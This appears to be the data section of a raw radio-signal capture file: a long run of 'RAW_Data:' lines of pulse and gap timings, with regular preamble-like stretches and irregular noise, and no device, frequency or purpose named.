63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 209 -206 51 -694 75 -722 126 -505 75 -305 139 -230 95 -316 69 -291 53 -90 101 -439 67 -98 77 -283 185 -143 83 -937 67 -384 61 -154 106 -200 51 -122 53 -498 51 -154 51 -70 51 -382 97 -276 65 -136 132 -144 61 -179 65 -447 61 -232 126 -180 51 -108 191 -88 69 -308 74 -108 149 -114 97 -114 87 -104 78 -350 79 -110 87 -125 79 -326 61 -245 51 -572 101 -319 71 -476 53 -431 71 -226 99 -229 57 -84 104 -394 65 -622 53 -82 111 -132 75 -260 51 -571 53 -206 63 -62 81 -180 76 -116 59 -78 110 -532 175 -286 89 -402 168 -261 65 -353 219 -142 59 -188 53 -373 55 -422 51 -408 197 -60 79 -68 71 -66 51 -52 71 -62 59 -96 73 -120 51 -248 77 -521 211 -132 53 -258 71 -214 79 -861 90 -343 67 -546 57 -155 100 -80 71 -1437 53 -279 59 -218 53 -125 61 -252 69 -208 55 -70 97 -169 51 -314 97 -1004 123 -89 51 -132 86 -122 71 -352 53 -62 53 -188 53 -263 55 -185 71 -331 99 -76 82 -471 59 -561 81 -257 53 -130 85 -210 71 -221 101 -285 117 -224 63 -472 57 -60 141 -572 89 -439 105 -60 63 -94 97 -64 81 -385 51 -96 65 -276 116 -62 71 -98 86 -431 85 -382 53 -90 55 -68 61 -205 1058 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 127 -64 63 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -128 63 -64 61 -64 61 -64 63 -62 127 -130 127 -128 127 -118 135 -56 69 -126 127 -128 127 -118 71 -56 131 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 61 -64 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -62 127 -130 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -56 71 -62 61 -64 63 -64 61 -64 63 -128 127 -58 69 -126 63 -64 61 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 63 -62 63 -64 127 -64 63 -126 127 -128 63 -64 125 -64 61 -128 127 -56 71 -62 61 -128 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -64 305 -184 57 -454 53 -554 75 -62 70 -80 53 -353 77 -272 53 -158 81 -160 113 -78 124 -444 141 -211 65 -130 63 -86 118 -54 71 -144 93 -66 65 -346 166 -269 61 -261 67 -309 139 -56 53 -522 118 -221 61 -92 232 -74 85 -150 79 -306 75 -84 75 -350 77 -1092 53 -315 55 -665 53 -466 105 -459 57 -198 180 -326 53 -88 71 -112 102 -241 67 -597 78 -54 88 -226 61 -100 122 -168 77 -67 51 -172 61 -359 105 -526 71 -176 61 -232 53 -398 59 -122 73 -130 53 -417 53 -52 115 -272 107 -168 67 -80 53 -456 51 -694 75 -332 53 -84 73 -64 71 -1217 71 -264 67 -544 102 -240 127 -263 81 -262 53 -314 89 -216 133 -173 174 -372 59 -216 71 -236 51 -189 115 -82 119 -416 92 -98 134 -68 53 -88 67 -162 65 -60 75 -299 55 -165 55 -78 67 -160 111 -580 81 -760 85 -52 53 -283 51 -589 214 -1012 51 -101 105 -248 83 -106 116 -107 61 -402 71 -210 53 -141 59 -100 61 -98 51 -74 59 -160 53 -313 98 -503 88 -1023 61 -234 63 -128 79 -263 67 -98 89 -195 53 -144 89 -220 53 -184 81 -111 53 -189 63 -295 53 -196 126 -296 114 -389 310 -88 192 -200 76 -197 71 -82 77 -143 67 -52 113 -149 81 -138 71 -138 97 -62 103 -506 79 -359 106 -161 71 -170 61 -98 93 -259 89 -297 -RAW_Data: 79 -162 67 -311 85 -112 92 -68 81 -178 67 -206 107 -171 75 -89 136 -162 71 -107 214 -194 102 -269 61 -134 119 -89 125 -152 82 -113 106 -108 134 -102 57 -229 61 -82 107 -157 96 -219 69 -413 73 -112 147 -54 164 -68 80 -96 122 -70 240 -268 210 -143 75 -224 83 -190 53 -148 93 -81 113 -307 133 -227 61 -163 87 -311 75 -76 81 -70 165 -169 51 -595 65 -116 59 -275 88 -712 65 -714 69 -532 59 -82 85 -54 53 -125 208 -207 71 -58 98 -134 102 -340 63 -90 53 -174 166 -120 116 -473 166 -156 90 -320 211 -106 53 -493 81 -92 109 -176 63 -60 244 -200 59 -198 85 -341 79 -398 108 -104 65 -189 72 -78 59 -510 53 -80 53 -54 71 -253 61 -225 81 -297 105 -62 53 -106 65 -56 51 -140 71 -485 51 -568 91 -162 164 -242 80 -130 61 -186 76 -94 55 -1218 107 -305 132 -316 59 -114 126 -421 156 -255 61 -153 86 -192 51 -113 87 -242 77 -320 93 -629 57 -381 77 -182 65 -333 51 -310 59 -232 53 -108 87 -669 136 -206 59 -168 57 -112 67 -104 173 -248 53 -591 113 -88 111 -409 96 -86 132 -54 53 -434 135 -589 63 -277 104 -729 63 -775 61 -142 75 -115 73 -52 89 -86 70 -90 59 -119 75 -85 53 -195 53 -87 51 -208 61 -331 53 -98 100 -93 81 -188 61 -1857 73 -136 51 -126 53 -248 63 -120 53 -560 55 -64 81 -150 71 -54 79 -667 51 -185 106 -362 59 -492 61 -136 83 -332 131 -165 96 -78 101 -64 71 -188 194 -217 59 -62 53 -126 67 -134 183 -134 63 -116 53 -192 63 -136 51 -115 288 -295 55 -60 59 -52 71 -246 159 -134 126 -227 178 -82 238 -274 134 -165 71 -96 81 -393 53 -72 160 -326 104 -165 249 -104 69 -134 169 -82 67 -114 57 -122 113 -104 75 -181 81 -88 175 -158 113 -283 61 -120 259 -161 70 -84 61 -64 61 -104 67 -322 114 -238 103 -280 83 -52 87 -136 67 -52 155 -119 176 -60 53 -177 75 -275 153 -54 69 -52 94 -143 234 -80 170 -52 224 -68 61 -52 59 -54 107 -110 93 -500 61 -256 65 -52 53 -160 53 -303 79 -82 97 -202 63 -122 177 -585 65 -136 97 -219 142 -84 110 -219 85 -186 65 -64 63 -167 88 -144 106 -120 53 -72 51 -454 63 -424 61 -397 114 -502 57 -247 97 -413 71 -215 55 -299 59 -446 107 -329 59 -118 172 -68 77 -467 61 -410 81 -294 139 -84 53 -298 53 -489 67 -230 73 -268 198 -239 127 -397 185 -71 75 -90 -RAW_Data: 61 -563 61 -86 175 -132 51 -332 53 -270 171 -102 159 -108 110 -435 110 -408 51 -755 111 -383 100 -844 53 -1014 75 -369 119 -462 53 -168 51 -80 57 -505 109 -88 67 -172 53 -707 61 -371 53 -82 80 -578 198 -243 51 -465 65 -335 87 -202 53 -528 61 -912 51 -139 71 -98 78 -82 59 -236 53 -538 142 -312 252 -318 71 -182 59 -128 176 -1101 63 -385 74 -106 104 -256 61 -165 53 -268 77 -134 69 -84 101 -64 53 -117 116 -162 61 -188 63 -675 96 -126 107 -649 53 -74 193 -336 74 -295 67 -400 51 -357 110 -368 83 -392 71 -115 63 -86 61 -269 71 -834 59 -275 63 -1114 124 -526 150 -212 89 -620 81 -100 59 -516 61 -517 63 -260 113 -188 63 -285 65 -54 89 -106 59 -131 59 -488 51 -228 77 -584 59 -64 61 -593 63 -739 53 -647 59 -60 59 -114 149 -126 104 -193 53 -591 114 -994 104 -72 169 -126 122 -268 96 -171 115 -126 77 -74 113 -379 151 -108 63 -405 53 -283 53 -401 51 -124 71 -341 113 -490 81 -195 63 -88 53 -458 53 -72 107 -486 143 -76 53 -823 51 -60 85 -146 61 -616 87 -96 75 -104 61 -54 79 -351 117 -104 61 -242 89 -62 87 -251 61 -109 194 -162 57 -478 53 -277 57 -306 89 -626 141 -70 55 -163 99 -875 67 -54 152 -279 124 -136 85 -175 78 -304 61 -233 53 -272 53 -116 89 -142 97 -90 125 -324 57 -209 73 -127 51 -108 53 -467 71 -80 79 -124 89 -231 77 -252 254 -128 77 -699 167 -340 59 -111 75 -247 53 -288 75 -114 67 -324 61 -283 105 -272 53 -194 67 -215 86 -128 59 -72 67 -174 71 -437 53 -62 63 -62 67 -442 118 -188 71 -486 85 -811 51 -54 53 -259 127 -120 99 -62 61 -120 90 -505 139 -83 53 -659 53 -1070 57 -120 59 -395 51 -150 83 -64 77 -133 71 -255 67 -181 75 -251 95 -149 67 -177 61 -77 105 -88 132 -64 128 -80 51 -202 133 -96 61 -102 61 -704 85 -177 118 -82 53 -112 73 -216 107 -114 188 -180 97 -106 53 -224 71 -325 87 -282 51 -193 93 -564 72 -172 53 -480 63 -66 117 -391 109 -162 75 -158 89 -876 67 -225 55 -300 53 -54 53 -206 107 -52 153 -360 81 -226 83 -82 143 -446 109 -266 65 -1003 97 -399 51 -203 107 -240 152 -408 97 -254 99 -90 57 -412 71 -84 86 -118 51 -64 108 -458 343 -206 89 -225 87 -128 59 -262 65 -236 132 -103 53 -160 102 -217 69 -363 59 -794 204 -798 154 -98 59 -232 97 -238 -RAW_Data: 119 -90 59 -488 77 -1162 71 -301 124 -341 119 -94 122 -120 147 -314 57 -90 63 -229 65 -320 67 -192 116 -191 77 -168 154 -159 166 -217 61 -999 79 -64 53 -72 59 -272 95 -350 67 -124 87 -225 164 -312 87 -321 132 -200 55 -320 59 -54 83 -140 147 -87 81 -404 89 -126 94 -215 51 -144 59 -523 75 -52 55 -86 69 -550 51 -305 61 -561 107 -325 53 -93 61 -293 63 -294 63 -249 61 -135 79 -123 71 -415 71 -658 103 -136 243 -597 86 -169 59 -168 69 -54 73 -233 53 -172 63 -60 92 -82 105 -321 98 -290 89 -281 63 -106 57 -230 115 -280 174 -168 125 -124 71 -86 123 -529 85 -492 104 -480 73 -745 59 -80 87 -296 108 -463 106 -328 59 -446 77 -351 104 -122 143 -82 107 -552 223 -163 77 -60 107 -123 203 -409 53 -630 59 -296 57 -924 59 -92 63 -96 77 -315 134 -115 69 -100 107 -146 51 -554 69 -221 84 -95 68 -614 53 -70 151 -108 53 -256 89 -361 175 -486 73 -206 90 -98 69 -54 53 -614 61 -110 55 -68 116 -515 69 -281 73 -99 124 -54 79 -136 87 -118 71 -659 79 -1034 106 -176 81 -663 134 -529 106 -246 107 -903 98 -213 117 -143 103 -92 61 -188 61 -324 93 -296 119 -130 59 -333 65 -148 59 -288 65 -112 51 -123 97 -108 106 -113 156 -138 51 -108 75 -372 67 -393 75 -524 77 -142 139 -62 242 -115 71 -297 89 -100 85 -56 51 -153 159 -54 228 -253 148 -120 51 -208 93 -343 110 -383 97 -72 81 -303 80 -98 71 -644 157 -96 88 -224 71 -249 51 -169 97 -195 59 -444 145 -403 51 -178 55 -120 71 -278 96 -724 79 -272 66 -153 91 -320 61 -102 51 -203 67 -195 178 -484 69 -199 53 -428 53 -327 53 -98 81 -544 78 -320 179 -74 53 -134 61 -381 77 -274 111 -145 125 -601 153 -174 163 -288 61 -106 181 -255 135 -309 206 -80 71 -54 79 -372 75 -333 81 -440 63 -121 192 -710 87 -374 158 -235 81 -568 51 -114 53 -231 133 -136 51 -256 87 -96 116 -258 114 -1010 97 -515 51 -186 51 -64 75 -143 172 -52 206 -70 151 -311 75 -174 63 -151 67 -178 71 -119 115 -112 239 -135 91 -356 57 -112 67 -78 59 -68 104 -240 87 -375 294 -529 122 -96 63 -923 101 -311 53 -134 71 -401 59 -134 71 -116 61 -204 137 -184 63 -90 89 -341 91 -240 71 -334 118 -280 109 -292 55 -60 113 -474 75 -782 114 -68 53 -80 67 -152 91 -230 106 -298 61 -189 101 -273 79 -500 71 -694 -RAW_Data: 139 -422 59 -202 59 -1220 51 -160 53 -178 63 -421 88 -233 83 -578 51 -269 51 -429 85 -60 79 -188 71 -433 71 -124 59 -256 79 -201 151 -157 106 -578 51 -502 59 -148 80 -66 51 -172 59 -72 92 -128 102 -473 142 -302 81 -108 81 -237 53 -127 51 -393 118 -52 153 -131 65 -562 85 -197 51 -201 111 -58 53 -116 55 -206 53 -160 63 -330 63 -134 170 -876 174 -179 59 -535 108 -120 73 -323 243 -188 59 -78 71 -162 78 -86 65 -358 106 -118 69 -156 59 -157 67 -262 95 -94 87 -208 160 -345 63 -461 71 -449 102 -134 90 -66 110 -491 105 -369 65 -97 96 -470 120 -402 53 -403 77 -365 88 -316 81 -124 53 -189 65 -68 119 -121 51 -130 102 -935 61 -58 231 -503 77 -632 101 -249 91 -293 168 -72 70 -70 99 -60 102 -402 127 -110 169 -88 81 -170 61 -507 57 -450 97 -600 102 -232 111 -114 53 -74 63 -724 88 -143 89 -214 93 -482 126 -125 190 -198 105 -208 174 -205 86 -108 85 -217 51 -300 53 -314 113 -227 77 -332 106 -90 133 -54 51 -88 111 -93 82 -60 67 -160 67 -60 114 -449 132 -487 82 -452 53 -842 59 -813 181 -912 81 -654 107 -416 53 -378 61 -381 63 -672 79 -82 150 -168 106 -228 53 -207 67 -382 81 -212 59 -241 51 -52 113 -98 88 -192 130 -271 136 -354 81 -60 79 -90 95 -249 160 -225 71 -1564 128 -159 178 -100 84 -70 53 -122 109 -158 93 -337 59 -60 104 -94 65 -640 61 -72 69 -214 71 -136 53 -458 57 -52 117 -300 102 -171 100 -66 63 -80 51 -218 77 -154 89 -450 98 -80 83 -348 70 -242 63 -142 65 -123 83 -574 69 -260 71 -455 53 -154 55 -82 65 -126 59 -573 75 -150 98 -158 61 -121 127 -198 61 -320 53 -947 51 -116 53 -125 71 -307 81 -539 61 -277 78 -738 85 -611 140 -137 63 -249 77 -150 94 -143 57 -294 61 -97 63 -550 71 -102 89 -744 53 -536 122 -54 118 -78 57 -475 128 -68 71 -114 69 -134 123 -591 89 -257 75 -108 83 -395 77 -96 53 -227 61 -110 88 -122 73 -277 131 -143 79 -64 161 -54 53 -112 143 -80 67 -679 51 -176 51 -176 77 -360 93 -170 87 -366 61 -52 59 -157 71 -287 210 -374 89 -70 105 -383 81 -104 67 -143 55 -138 59 -158 155 -292 53 -276 51 -262 125 -222 51 -90 61 -707 71 -390 98 -123 113 -837 53 -443 129 -215 65 -147 89 -194 59 -332 113 -930 111 -74 142 -564 276 -134 188 -132 61 -427 65 -1215 -RAW_Data: 53 -193 55 -470 160 -164 88 -116 53 -100 53 -179 75 -62 51 -137 116 -1073 53 -508 71 -90 97 -352 59 -253 65 -1488 57 -64 59 -573 65 -942 146 -284 108 -907 117 -130 97 -434 65 -142 96 -138 89 -76 211 -244 59 -166 87 -1047 153 -824 130 -611 81 -285 74 -385 142 -164 53 -282 55 -469 194 -348 97 -70 112 -169 59 -136 51 -90 106 -476 105 -257 107 -272 51 -1536 75 -691 67 -54 83 -173 212 -80 100 -143 69 -339 96 -126 67 -196 53 -189 211 -294 55 -235 61 -54 89 -110 53 -560 156 -108 84 -112 59 -136 209 -198 79 -138 106 -357 59 -188 51 -184 79 -430 53 -62 53 -118 165 -70 53 -54 703 -56 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 275 -329 -RAW_Data: 63 -130 53 -232 63 -486 80 -148 57 -538 55 -237 120 -287 133 -146 63 -532 96 -123 51 -447 51 -358 79 -160 95 -182 99 -134 63 -325 75 -93 116 -570 59 -374 80 -54 53 -244 162 -116 75 -100 53 -247 149 -90 61 -464 53 -478 164 -494 117 -62 63 -304 107 -124 77 -142 144 -98 81 -416 80 -204 144 -144 85 -179 88 -510 53 -478 61 -591 53 -188 89 -634 147 -76 51 -878 151 -170 81 -117 61 -164 61 -90 121 -765 71 -136 51 -320 97 -521 95 -160 53 -72 103 -54 57 -146 59 -148 264 -305 85 -162 51 -567 73 -520 149 -108 71 -62 142 -471 59 -72 51 -836 61 -80 198 -279 82 -170 84 -508 95 -654 81 -186 69 -162 126 -214 53 -195 80 -116 77 -316 105 -316 134 -74 75 -450 71 -125 143 -218 71 -196 77 -116 79 -210 128 -530 93 -114 67 -190 67 -515 89 -319 96 -255 81 -295 257 -90 109 -756 69 -556 80 -343 80 -377 93 -358 150 -171 95 -245 65 -1125 63 -451 111 -867 94 -60 95 -56 75 -62 169 -258 59 -170 59 -156 77 -62 79 -54 59 -90 61 -780 103 -201 81 -202 77 -134 87 -58 105 -100 69 -402 67 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -126 127 -66 61 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 61 -64 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -64 125 -130 127 -56 69 -126 127 -128 127 -120 63 -62 133 -64 63 -62 61 -64 63 -64 61 -128 129 -64 61 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -58 69 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -62 63 -62 63 -64 63 -64 63 -128 127 -56 69 -64 61 -64 61 -64 63 -128 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 127 -128 127 -56 67 -126 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 127 -128 63 -64 -RAW_Data: 125 -128 63 -62 63 -62 127 -128 127 -56 71 -126 347 -130 71 -159 51 -197 67 -133 59 -1542 113 -949 83 -218 71 -115 77 -552 81 -266 53 -188 69 -695 140 -409 53 -579 53 -162 71 -88 55 -1166 115 -400 150 -194 51 -161 185 -76 61 -314 114 -118 51 -72 123 -64 90 -133 249 -392 57 -232 119 -338 51 -154 193 -260 71 -460 51 -191 59 -763 67 -78 69 -272 117 -70 143 -254 79 -62 57 -680 89 -112 59 -242 71 -159 59 -250 71 -150 71 -539 187 -429 79 -392 63 -1089 59 -353 81 -126 79 -100 59 -52 51 -158 53 -126 53 -188 69 -287 105 -136 53 -91 51 -170 51 -361 51 -188 59 -162 165 -133 59 -195 51 -154 83 -470 51 -232 105 -227 77 -168 133 -78 61 -90 53 -309 53 -399 57 -229 51 -140 96 -661 57 -129 67 -142 63 -387 97 -54 53 -126 89 -284 115 -172 159 -315 122 -132 65 -66 51 -248 61 -114 176 -122 57 -505 84 -232 61 -133 97 -364 125 -223 53 -285 77 -662 61 -243 99 -414 57 -80 127 -108 152 -122 57 -156 81 -405 65 -579 63 -98 61 -526 123 -76 51 -837 200 -192 87 -503 53 -113 124 -108 83 -189 85 -424 53 -230 51 -172 107 -161 53 -180 69 -102 215 -54 171 -94 73 -76 256 -107 53 -305 133 -195 203 -240 99 -80 138 -123 170 -113 107 -97 148 -82 79 -167 195 -72 125 -86 61 -208 416 -62 251 -74 147 -122 97 -60 735 -71 57 -108 103 -108 53 -139 351 -76 143 -96 115 -128 51 -215 51 -102 67 -240 230 -78 406 -60 136 -347 51 -241 65 -112 79 -98 98 -231 53 -206 140 -373 314 -76 328 -103 378 -56 140 -218 65 -342 143 -78 121 -54 105 -158 123 -104 81 -58 139 -54 81 -320 79 -93 278 -62 106 -220 295 -106 233 -113 255 -84 152 -171 79 -140 59 -58 51 -150 89 -922 117 -346 178 -360 81 -601 63 -419 51 -351 114 -633 99 -194 129 -291 57 -428 71 -54 81 -362 126 -212 67 -166 53 -267 51 -285 81 -407 63 -134 85 -781 61 -776 134 -52 53 -144 69 -98 71 -64 61 -999 53 -257 69 -99 55 -72 78 -89 101 -720 158 -168 161 -724 115 -60 53 -136 59 -310 53 -530 61 -118 55 -112 51 -321 90 -141 159 -303 67 -264 59 -52 104 -92 51 -138 87 -84 91 -270 81 -223 53 -149 81 -156 55 -129 51 -104 118 -238 130 -453 59 -128 97 -363 59 -162 295 -112 78 -64 210 -148 117 -387 79 -252 61 -317 169 -123 63 -322 85 -282 61 -240 81 -54 61 -272 -RAW_Data: 106 -491 53 -60 51 -250 70 -110 78 -160 61 -62 86 -54 205 -263 61 -56 109 -112 59 -304 63 -264 65 -208 59 -116 167 -106 112 -176 182 -52 88 -76 85 -176 68 -172 81 -207 115 -52 88 -233 96 -241 89 -496 51 -120 57 -399 89 -515 73 -172 131 -596 51 -306 73 -80 199 -98 61 -172 51 -433 61 -417 67 -148 69 -236 51 -315 152 -228 96 -200 93 -80 67 -192 59 -382 51 -80 198 -52 73 -184 93 -657 106 -108 53 -125 59 -106 79 -186 131 -165 79 -86 81 -106 61 -274 59 -178 81 -221 61 -875 61 -320 112 -118 216 -138 76 -172 139 -62 93 -274 91 -66 184 -68 53 -81 73 -297 161 -62 79 -114 97 -235 67 -184 51 -141 196 -54 67 -149 222 -135 248 -194 67 -256 218 -96 191 -64 75 -253 80 -78 81 -98 83 -60 65 -633 133 -54 51 -98 57 -228 61 -72 132 -99 77 -106 78 -260 94 -114 79 -238 73 -141 63 -203 89 -133 115 -160 196 -265 53 -68 246 -498 63 -62 81 -296 143 -226 104 -170 71 -167 53 -94 114 -90 61 -159 79 -160 75 -209 53 -130 242 -126 55 -215 88 -70 87 -152 122 -119 155 -58 305 -78 115 -233 106 -60 75 -122 83 -150 166 -249 191 -62 112 -432 103 -208 95 -193 53 -1102 172 -827 97 -90 79 -94 89 -72 89 -54 59 -180 59 -300 70 -178 71 -281 55 -125 89 -440 59 -127 67 -352 69 -86 53 -150 81 -200 145 -142 177 -618 82 -260 87 -149 53 -276 61 -82 53 -582 88 -72 53 -207 59 -84 116 -223 95 -440 73 -437 63 -54 89 -568 55 -150 80 -537 71 -107 53 -108 63 -413 87 -634 97 -152 88 -634 53 -186 53 -90 51 -1197 55 -117 71 -74 179 -52 105 -697 89 -733 109 -80 57 -660 71 -103 83 -498 91 -895 53 -52 142 -173 87 -497 75 -315 230 -104 61 -60 71 -182 126 -152 63 -79 95 -155 88 -198 53 -552 106 -429 102 -156 78 -339 59 -329 73 -354 51 -70 67 -72 53 -278 143 -62 113 -89 71 -114 71 -76 83 -114 79 -503 120 -397 75 -266 129 -62 51 -220 51 -178 121 -220 101 -395 96 -222 144 -169 69 -343 136 -695 105 -104 61 -204 81 -234 81 -272 378 -571 89 -60 79 -314 83 -165 51 -443 114 -62 201 -134 53 -182 101 -267 326 -702 158 -251 93 -489 137 -254 158 -136 51 -205 1174 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 207 -115 53 -336 61 -125 69 -754 77 -103 77 -1917 112 -106 111 -192 78 -54 81 -129 53 -180 212 -267 51 -117 51 -78 69 -86 98 -190 59 -311 113 -225 67 -254 71 -285 59 -716 51 -60 65 -94 69 -427 90 -88 73 -360 197 -54 161 -489 71 -52 117 -375 62 -270 51 -233 88 -158 91 -310 81 -60 59 -612 136 -98 61 -680 65 -136 82 -231 87 -153 59 -481 71 -216 174 -992 51 -193 53 -830 71 -301 115 -231 89 -158 53 -494 61 -112 97 -268 161 -307 125 -377 71 -252 61 -124 68 -108 61 -242 99 -520 105 -62 81 -418 170 -98 140 -456 89 -139 117 -519 125 -80 53 -168 79 -66 59 -407 59 -98 103 -166 53 -149 101 -612 65 -194 61 -116 59 -96 65 -82 63 -62 53 -68 143 -114 162 -252 53 -218 53 -82 134 -445 55 -141 51 -579 121 -378 125 -54 71 -176 84 -116 99 -78 -RAW_Data: 113 -496 69 -62 53 -287 53 -162 51 -328 59 -205 93 -545 115 -305 191 -116 133 -179 83 -306 77 -199 111 -257 51 -251 71 -88 53 -78 53 -657 98 -281 238 -187 67 -888 59 -140 85 -196 51 -86 71 -720 53 -185 111 -339 127 -1037 128 -346 59 -435 53 -236 59 -52 97 -399 85 -108 83 -78 55 -148 57 -176 86 -513 57 -345 87 -78 149 -54 141 -144 65 -106 51 -291 1339 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -64 63 -128 127 -64 61 -128 63 -64 61 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -130 127 -126 127 -120 133 -56 69 -126 127 -128 127 -120 63 -62 133 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -64 61 -62 63 